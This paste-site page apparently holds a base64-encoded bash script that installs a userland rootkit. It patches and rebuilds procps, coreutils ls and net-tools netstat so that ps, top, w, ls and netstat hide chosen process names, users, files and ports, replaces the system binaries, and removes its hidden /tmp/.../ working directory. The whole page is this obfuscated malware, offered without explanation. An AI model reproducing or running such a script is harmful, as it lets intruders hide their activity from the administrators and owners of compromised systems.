- c3Ryc3RyKGJ1Zi0+Y21kLCBcIiR7SElERU5BTUV9XCIpICE9IE5VTEwpIgpMSU5FMj0icmV0dXJu
- IDA7Igo+c2VsZWN0LmNfMgp3aGlsZSBJRlM9JycgcmVhZCAtciBsaW5lIHx8IFtbIC1uICIkbGlu
- ZSIgXV07IGRvCiAgICBpZiBbWyAkbGluZSA9PSAqIi8qIGVsc2V3aGVyZSwgY29udmVydCBUIHRv
- IGxpc3QsIFUgc2V0cyB4IGltcGxpY2l0bHkgKi8iKiBdXQogICAgdGhlbgogICAgICAgIGVjaG8g
- IiRsaW5lIiA+PiBzZWxlY3QuY18yCiAgICAgICAgZWNobyAiJExJTkUxIiA+PiBzZWxlY3QuY18y
- CiAgICAgICAgZWNobyAiJExJTkUyIiA+PiBzZWxlY3QuY18yICYmIGNvbnRpbnVlCiAgICBmaQoK
- ICAgIGVjaG8gIiRsaW5lIiA+PiBzZWxlY3QuY18yCmRvbmUgPCBzZWxlY3QuYwptdiAtZiBzZWxl
- Y3QuY18yIHNlbGVjdC5jCgpjZCAvdG1wLy4uLi9wcm9jcHMtMy4yLjgvCkxJTkUxPSItaW5jbHVk
- ZSBwcm9jL21vZHVsZS5tayBwcy9tb2R1bGUubWsiCj5NYWtlZmlsZV8yCndoaWxlIElGUz0nJyBy
- ZWFkIC1yIGxpbmUgfHwgW1sgLW4gIiRsaW5lIiBdXTsgZG8KICAgIGlmIFtbICRsaW5lID09ICoi
- LWluY2x1ZGUgKi9tb2R1bGUubWsiKiBdXQogICAgdGhlbgogICAgICAgIGVjaG8gIiRMSU5FMSIg
- Pj4gTWFrZWZpbGVfMiAmJiBjb250aW51ZQogICAgZmkKCiAgICBlY2hvICIkbGluZSIgPj4gTWFr
- ZWZpbGVfMgpkb25lIDwgTWFrZWZpbGUKbXYgLWYgTWFrZWZpbGVfMiBNYWtlZmlsZQpMSU5FMT0i
- ICAgaWYgKHRoaXMgIT0gTlVMTCAmJiAoKHRoaXMtPmNtZGxpbmUgIT0gTlVMTCAmJiBzdHJzdHIo
- dGhpcy0+Y21kbGluZSwgXCIke0hJREVOQU1FfVwiKSAhPSBOVUxMKSB8fCIKTElORTI9IiAgICAg
- ICh0aGlzLT5jbWQgIT0gTlVMTCAmJiBzdHJzdHIodGhpcy0+Y21kLCBcIiR7SElERU5BTUV9XCIp
- ICE9IE5VTEwpKSkiCkxJTkUzPSIgICAgICByZXR1cm47Igo+dG9wLmNfMgp3aGlsZSBJRlM9Jycg
- cmVhZCAtciBsaW5lIHx8IFtbIC1uICIkbGluZSIgXV07IGRvCiAgICBpZiBbWyAkbGluZSA9PSAq
- IlRJQ190IHRpY3M7IiogXV0KICAgIHRoZW4KICAgICAgICBlY2hvICIkbGluZSIgPj4gdG9wLmNf
- MgogICAgICAgIGVjaG8gIiRMSU5FMSIgPj4gdG9wLmNfMgogICAgICAgIGVjaG8gIiRMSU5FMiIg
- Pj4gdG9wLmNfMgogICAgICAgIGVjaG8gIiRMSU5FMyIgPj4gdG9wLmNfMiAmJiBjb250aW51ZQog
- ICAgZmkKCiAgICBlY2hvICIkbGluZSIgPj4gdG9wLmNfMgpkb25lIDwgdG9wLmMKbXYgLWYgdG9w
- LmNfMiB0b3AuYwoKaWYgWyAtZiAiL2V0Yy9kZWJpYW5fdmVyc2lvbiIgXQp0aGVuCiAgICBhcHQt
- Z2V0IC15IGluc3RhbGwgbmN1cnNlcy1kZXYKZWxzZQogICAgeXVtIC15IGluc3RhbGwgbmN1cnNl
- cy1kZXZlbApmaQoKPncuY18yCkxJTkUxPSJpZiAoc3Ryc3RyKHVuYW1lLCBcIiR7SElERVVTRVJ9
- XCIpICE9IE5VTEwpIgpMSU5FMj0iICAgICAgICByZXR1cm47Igp3aGlsZSBJRlM9JycgcmVhZCAt
- ciBsaW5lIHx8IFtbIC1uICIkbGluZSIgXV07IGRvCiAgICBpZiBbWyAkbGluZSA9PSAqInN0cm5j
- cHkodW5hbWUsIHUtPnV0X3VzZXIsIFVTRVJTWik7IiogXV0KICAgIHRoZW4KICAgICAgICBlY2hv
- ICIkbGluZSIgPj4gdy5jXzIKICAgICAgICBlY2hvICIkTElORTEiID4+IHcuY18yCiAgICAgICAg
- ZWNobyAiJExJTkUyIiA+PiB3LmNfMiAmJiBjb250aW51ZQogICAgZmkKCiAgICBlY2hvICIkbGlu
- ZSIgPj4gdy5jXzIKZG9uZSA8IHcuYwptdiAtZiB3LmNfMiB3LmMKCm1ha2UgPiBmIDI+JjEKaWYg
- Z3JlcCAtcSAiZXJyb3I6IHJlZGVjbGFyYXRpb24gb2YgZW51bWVyYXRvciDigJhQX1BJROKAmSIg
- Zgp0aGVuCiAgICBtYWtlIGNsZWFuCiAgICBzZWQgLUVpICdzL1BJRC9DSUQvZycgdG9wLmMKICAg
- IHNlZCAtRWkgJ3MvUElEL0NJRC9nJyB0b3AuaAogICAgc2VkIC1FaSAncy9QUk9DX0NJRC9QUk9D
- X1BJRC9nJyB0b3AuYwogICAgc2VkIC1FaSAncy9DSURcIi9QSURcIi9nJyB0b3AuYwogICAgcm0g
- LWYgL3Vzci9saWIvbGlicHJvYy0zLjIuOC5zbwogICAgcm0gLWYgL3Vzci9saWI2NC9saWJwcm9j
- LTMuMi44LnNvCiAgICBtYWtlID4gZiAyPiYxCmZpCgpybSAtZiAvdXNyL2xpYi9saWJwcm9jLTMu
- Mi44LnNvCnJtIC1mIC91c3IvbGliNjQvbGlicHJvYy0zLjIuOC5zbwpjcCAtZiAvdG1wLy4uLi9w
- cm9jcHMtMy4yLjgvcHJvYy9saWJwcm9jLTMuMi44LnNvIC91c3IvbGliL2xpYnByb2MtMy4yLjgu
- c28KY3AgLWYgL3RtcC8uLi4vcHJvY3BzLTMuMi44L3Byb2MvbGlicHJvYy0zLjIuOC5zbyAvdXNy
- L2xpYjY0L2xpYnByb2MtMy4yLjguc28Kcm0gLWYgL2Jpbi9wcwpjcCAtZiAvdG1wLy4uLi9wcm9j
- cHMtMy4yLjgvcHMvcHMgL2Jpbi9wcwpybSAtZiAvdXNyL2Jpbi90b3AKY3AgLWYgL3RtcC8uLi4v
- cHJvY3BzLTMuMi44L3RvcCAvdXNyL2Jpbi90b3AKcm0gLWYgL3Vzci9iaW4vdwpjcCAtZiAvdG1w
- Ly4uLi9wcm9jcHMtMy4yLjgvdyAvdXNyL2Jpbi93CgpjZCAvdG1wLy4uLi8Kd2dldCAtTyBjb3Jl
- dXRpbHMudGFyLnh6IGh0dHA6Ly9mdHAuZ251Lm9yZy9nbnUvY29yZXV0aWxzL2NvcmV1dGlscy04
- LjIzLnRhci54egpybSAtcmYgL3RtcC8uLi4vY29yZXV0aWxzLTguMjMvCnRhciB4ZiBjb3JldXRp
- bHMudGFyLnh6CmNkIGNvcmV1dGlscy04LjIzL3NyYwpMSU5FMT0iICBpZiAodGhpc3BlbmQtPnJl
- YWxuYW1lICE9IE5VTEwgJiYgc3Ryc3RyKHRoaXNwZW5kLT5yZWFsbmFtZSwgXCIke0hJREVOQU1F
- fVwiKSAhPSBOVUxMKSIKTElORTI9Igljb250aW51ZTsiCkxJTkUzPSIgIGlmIChzb3J0ZWRfZmls
- ZVtpXSAhPSBOVUxMICYmIHN0cnN0cigoKHN0cnVjdCBmaWxlaW5mbyopc29ydGVkX2ZpbGVbaV0p
- LT5uYW1lLCBcIiR7SElERU5BTUV9XCIpICE9IE5VTEwpIgpMSU5FND0iCWNvbnRpbnVlOyIKTElO
- RTU9IiAgaWYgKGYgIT0gTlVMTCAmJiBzdHJzdHIoZi0+bmFtZSwgXCIke0hJREVOQU1FfVwiKSAh
- PSBOVUxMKSIKTElORTY9IglyZXR1cm47IgpMSU5FNz0iCSAgaWYgKCEoZiAhPSBOVUxMICYmIHN0
- cnN0cihmLT5uYW1lLCBcIiR7SElERU5BTUV9XCIpICE9IE5VTEwpKSIKTElORTg9IgkgIHsiCkxJ
- TkU5PSIgICAgICAgICAgIHB1dGNoYXIgKCdcbicpOyIKTElORTEwPSIgICAgICAgICAgIHBvcyA9
- IDA7IgpMSU5FMTE9IiAgfSIKPmxzLmNfMgp3aGlsZSBJRlM9JycgcmVhZCAtciBsaW5lIHx8IFtb
- IC1uICIkbGluZSIgXV07IGRvCiAgICBpZiBbWyAkbGluZSA9PSAqInVuc2lnbmVkIGZsYWdzOyIq
- IF1dCiAgICB0aGVuCiAgICAgICAgZWNobyAiJGxpbmUiID4+IGxzLmNfMgogICAgICAgIElGUz0n
- JyByZWFkIC1yIGxpbmUKICAgICAgICBpZiBbWyAkbGluZSA9PSAqImZyZWVfcGVuZGluZ19lbnQg
- KHRoaXNwZW5kKTsiKiBdXQogICAgICAgIHRoZW4KICAgICAgICAgICAgZWNobyAiJGxpbmUiID4+
- IGxzLmNfMgogICAgICAgICAgICBJRlM9JycgcmVhZCAtciBsaW5lCiAgICAgICAgICAgIGVjaG8g
- IiRsaW5lIiA+PiBscy5jXzIKICAgICAgICAgICAgaWYgW1sgJGxpbmUgPT0gKiJjb250aW51ZTsi
- KiBdXQogICAgICAgICAgICB0aGVuCiAgICAgICAgICAgICAgICBJRlM9JycgcmVhZCAtciBsaW5l
- CiAgICAgICAgICAgICAgICBlY2hvICIkbGluZSIgPj4gbHMuY18yCiAgICAgICAgICAgICAgICBJ
- RlM9JycgcmVhZCAtciBsaW5lCiAgICAgICAgICAgICAgICBlY2hvICIkbGluZSIgPj4gbHMuY18y
- CiAgICAgICAgICAgICAgICBJRlM9JycgcmVhZCAtciBsaW5lCiAgICAgICAgICAgICAgICBlY2hv
- ICIkbGluZSIgPj4gbHMuY18yCiAgICAgICAgICAgICAgICBlY2hvICIkTElORTEiID4+IGxzLmNf
- MgogICAgICAgICAgICAgICAgZWNobyAiJExJTkUyIiA+PiBscy5jXzIgJiYgY29udGludWUKICAg
- ICAgICAgICAgZmkKICAgICAgICBmaQogICAgZmkKCiAgICBpZiBbWyAkbGluZSA9PSAqImZvciAo
- aSA9IGN3ZF9uX3VzZWQ7IGktLSAhPSAwOyApIiogXV0KICAgIHRoZW4KICAgICAgICBlY2hvICIk
- bGluZSIgPj4gbHMuY18yCiAgICAgICAgSUZTPScnIHJlYWQgLXIgbGluZQogICAgICAgIGVjaG8g
- IiRsaW5lIiA+PiBscy5jXzIKICAgICAgICBJRlM9JycgcmVhZCAtciBsaW5lCiAgICAgICAgZWNo
- byAiJGxpbmUiID4+IGxzLmNfMgogICAgICAgIElGUz0nJyByZWFkIC1yIGxpbmUKICAgICAgICBl
- Y2hvICIkbGluZSIgPj4gbHMuY18yCiAgICAgICAgZWNobyAiJExJTkUzIiA+PiBscy5jXzIKICAg
- ICAgICBlY2hvICIkTElORTQiID4+IGxzLmNfMiAmJiBjb250aW51ZQogICAgZmkKCiAgICBpZiBb
- WyAkbGluZSA9PSAqImZvciAoaSA9IDAsIGogPSAwOyBpIDwgY3dkX25fdXNlZDsgaSsrKSIqIF1d
- CiAgICB0aGVuCiAgICAgICAgZWNobyAiJGxpbmUiID4+IGxzLmNfMgogICAgICAgIElGUz0nJyBy
- ZWFkIC1yIGxpbmUKICAgICAgICBlY2hvICIkbGluZSIgPj4gbHMuY18yCiAgICAgICAgSUZTPScn
- IHJlYWQgLXIgbGluZQogICAgICAgIGVjaG8gIiRsaW5lIiA+PiBscy5jXzIKICAgICAgICBlY2hv
- ICIkTElORTMiID4+IGxzLmNfMgogICAgICAgIGVjaG8gIiRMSU5FNCIgPj4gbHMuY18yICYmIGNv
- bnRpbnVlCiAgICBmaQoKICAgIGlmIFtbICRsaW5lID09ICoiY2FzZSBsb25nX2Zvcm1hdDoiKiBd
- XQogICAgdGhlbgogICAgICAgIGVjaG8gIiRsaW5lIiA+PiBscy5jXzIKICAgICAgICBJRlM9Jycg
- cmVhZCAtciBsaW5lCiAgICAgICAgZWNobyAiJGxpbmUiID4+IGxzLmNfMgogICAgICAgIGlmIFtb
- ICRsaW5lID09ICoiZm9yIChpID0gMDsgaSA8IGN3ZF9uX3VzZWQ7IGkrKykiKiBdXQogICAgICAg
- IHRoZW4KICAgICAgICAgICAgSUZTPScnIHJlYWQgLXIgbGluZQogICAgICAgICAgICBlY2hvICIk
- bGluZSIgPj4gbHMuY18yCiAgICAgICAgICAgIGVjaG8gIiRMSU5FMyIgPj4gbHMuY18yCiAgICAg
- ICAgICAgIGVjaG8gIiRMSU5FNCIgPj4gbHMuY18yICYmIGNvbnRpbnVlCiAgICAgICAgZmkKICAg
- IGZpCgogICAgaWYgW1sgJGxpbmUgPT0gKiJzdHJ1Y3QgdG0gKndoZW5fbG9jYWw7IiogXV0KICAg
- IHRoZW4KICAgICAgICBlY2hvICIkbGluZSIgPj4gbHMuY18yCiAgICAgICAgSUZTPScnIHJlYWQg
- LXIgbGluZQogICAgICAgIGVjaG8gIiRsaW5lIiA+PiBscy5jXzIKICAgICAgICBlY2hvICIkTElO
- RTUiID4+IGxzLmNfMgogICAgICAgIGVjaG8gIiRMSU5FNiIgPj4gbHMuY18yICYmIGNvbnRpbnVl
- CiAgICBmaQoKICAgIGlmIFtbICRsaW5lID09ICoiY29uc3QgY2hhciogbmFtZSA9IHN5bWxpbmtf
- dGFyZ2V0ID8gZi0+bGlua25hbWUgOiBmLT5uYW1lOyIqIF1dCiAgICB0aGVuCiAgICAgICAgZWNo
- byAiJGxpbmUiID4+IGxzLmNfMgogICAgICAgIElGUz0nJyByZWFkIC1yIGxpbmUKICAgICAgICBl
- Y2hvICIkbGluZSIgPj4gbHMuY18yCiAgICAgICAgZWNobyAiJExJTkU1IiA+PiBscy5jXzIKICAg
- ICAgICBlY2hvICIkTElORTYiID4+IGxzLmNfMiAmJiBjb250aW51ZQogICAgZmkKCiAgICBpZiBb
- WyAkbGluZSA9PSAqImNoYXIgYnVmW01BWCAoTE9OR0VTVF9IVU1BTl9SRUFEQUJMRSArIDEsIElO
- VF9CVUZTSVpFX0JPVU5EICh1aW50bWF4X3QpKV07IiogXV0KICAgIHRoZW4KICAgICAgICBlY2hv
- ICIkbGluZSIgPj4gbHMuY18yCiAgICAgICAgSUZTPScnIHJlYWQgLXIgbGluZQogICAgICAgIGVj
- aG8gIiRsaW5lIiA+PiBscy5jXzIKICAgICAgICBlY2hvICIkTElORTUiID4+IGxzLmNfMgogICAg
- ICAgIGVjaG8gIiRMSU5FNiIgPj4gbHMuY18yICYmIGNvbnRpbnVlCiAgICBmaQoKICAgIGlmIFtb
- ICRsaW5lID09ICoiaW50IGxpbmtvazsiKiBdXQogICAgdGhlbgogICAgICAgIGVjaG8gIiRsaW5l
- IiA+PiBscy5jXzIKICAgICAgICBlY2hvICIkTElORTUiID4+IGxzLmNfMgogICAgICAgIGVjaG8g
- IiRMSU5FNiIgPj4gbHMuY18yICYmIGNvbnRpbnVlCiAgICBmaQoKICAgIGlmIFtbICRsaW5lID09
- ICoiaWYgKGNvbCA9PSAwKSIqIF1dCiAgICB0aGVuCiAgICAgICAgZWNobyAiJGxpbmUiID4+IGxz
- LmNfMgogICAgICAgIGVjaG8gInsiID4+IGxzLmNfMgogICAgICAgIElGUz0nJyByZWFkIC1yIGxp
- bmUKICAgICAgICBJRlM9JycgcmVhZCAtciBsaW5lCiAgICAgICAgSUZTPScnIHJlYWQgLXIgbGlu
- ZQogICAgICAgIElGUz0nJyByZWFkIC1yIGxpbmUKICAgICAgICBlY2hvICIkTElORTciID4+IGxz
- LmNfMgogICAgICAgIGVjaG8gIiRMSU5FOCIgPj4gbHMuY18yCiAgICAgICAgZWNobyAiJExJTkU5
- IiA+PiBscy5jXzIKICAgICAgICBlY2hvICIkTElORTEwIiA+PiBscy5jXzIKICAgICAgICBlY2hv
- ICIkTElORTExIiA+PiBscy5jXzIKICAgICAgICBlY2hvICJ9IiA+PiBscy5jXzIgJiYgY29udGlu
- dWUKICAgIGZpCgogICAgZWNobyAiJGxpbmUiID4+IGxzLmNfMgpkb25lIDwgbHMuYwptdiAtZiBs
- cy5jXzIgbHMuYwpjZCAvdG1wLy4uLi9jb3JldXRpbHMtOC4yMy8KZXhwb3J0IEZPUkNFX1VOU0FG
- RV9DT05GSUdVUkU9MQouL2NvbmZpZ3VyZQptYWtlCnJtIC1mIC9iaW4vbHMKY3AgLWYgL3RtcC8u
- Li4vY29yZXV0aWxzLTguMjMvc3JjL2xzIC9iaW4vbHMKCmNkIC90bXAvLi4uLwp3Z2V0IC1PIG5l
- dC10b29scy50YXIuYnoyIGh0dHA6Ly9kb3dubG9hZHMuc291cmNlZm9yZ2UubmV0L3Byb2plY3Qv
- bmV0LXRvb2xzL25ldC10b29scy0xLjYwLnRhci5iejIKaWYgWyAtZiAiL2V0Yy9kZWJpYW5fdmVy
- c2lvbiIgXQp0aGVuCiAgICBhcHQtZ2V0IC15IGluc3RhbGwgYnppcDIKZWxzZQogICAgeXVtIC15
- IGluc3RhbGwgYnppcDIKZmkKYnppcDIgLWQgbmV0LXRvb2xzLnRhci5iejIKdGFyIHh2ZiBuZXQt
- dG9vbHMudGFyCmNkIC90bXAvLi4uL25ldC10b29scy0xLjYwCj5uZXRzdGF0LmNfMgpjb3VudGVy
- PTAKd2hpbGUgSUZTPScnIHJlYWQgLXIgbGluZSB8fCBbWyAtbiAiJGxpbmUiIF1dOyBkbwogICAg
- Y291bnRlcj0kKChjb3VudGVyKzEpKQogICAgaWYgW1sgIiRjb3VudGVyIiAtZXEgNzI1IF1dCiAg
- ICB0aGVuCiAgICAgICAgZWNobyAiJGxpbmUiID4+IG5ldHN0YXQuY18yCiAgICAgICAgZWNobyAi
- JEhJREVQT1JUUyIgPj4gbmV0c3RhdC5jXzIKICAgICAgICBlY2hvICIgIHJldHVybjsiID4+IG5l
- dHN0YXQuY18yCiAgICAgICAgZWNobyAiJEhJREVQT1JUU19MT0NBTCIgPj4gbmV0c3RhdC5jXzIK
- ICAgICAgICBlY2hvICIgIHJldHVybjsiID4+IG5ldHN0YXQuY18yICYmIGNvbnRpbnVlCiAgICBm
- aQogICAgZWNobyAiJGxpbmUiID4+IG5ldHN0YXQuY18yCmRvbmUgPCBuZXRzdGF0LmMKbXYgLWYg
- bmV0c3RhdC5jXzIgbmV0c3RhdC5jCgpjZCAvdG1wLy4uLi9uZXQtdG9vbHMtMS42MC9saWIKd2hp
- bGUgSUZTPScnIHJlYWQgLXIgbGluZSB8fCBbWyAtbiAiJGxpbmUiIF1dOyBkbwogICAgaWYgW1sg
- JGxpbmUgPT0gKiJkZWZhdWx0OiIqIF1dCiAgICB0aGVuCiAgICAgICAgZWNobyAiJHtsaW5lfTsi
- ID4+IGluZXRfc3IuY18yICYmIGNvbnRpbnVlCiAgICBmaQogICAgZWNobyAiJGxpbmUiID4+IGlu
- ZXRfc3IuY18yCmRvbmUgPCBpbmV0X3NyLmMKbXYgLWYgaW5ldF9zci5jXzIgaW5ldF9zci5jCgpj
- ZCAvdG1wLy4uLi9uZXQtdG9vbHMtMS42MAp5ZXMgIm4iIHwgbWFrZSBjb25maWcKZWNobyAiI2Rl
- ZmluZSBIQVZFX0FGVU5JWCAxIiA+PiBjb25maWcuaAplY2hvICIjZGVmaW5lIEhBVkVfQUZJTkVU
- IDEiID4+IGNvbmZpZy5oCmVjaG8gIiNkZWZpbmUgSEFWRV9IV0VUSEVSIDEiID4+IGNvbmZpZy5o
- Cm1ha2UgbmV0c3RhdApybSAtZiAvYmluL25ldHN0YXQKY3AgLWYgL3RtcC8uLi4vbmV0LXRvb2xz
- LTEuNjAvbmV0c3RhdCAvYmluL25ldHN0YXQKcm0gLXJmIC90bXAvLi4uLwoK
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement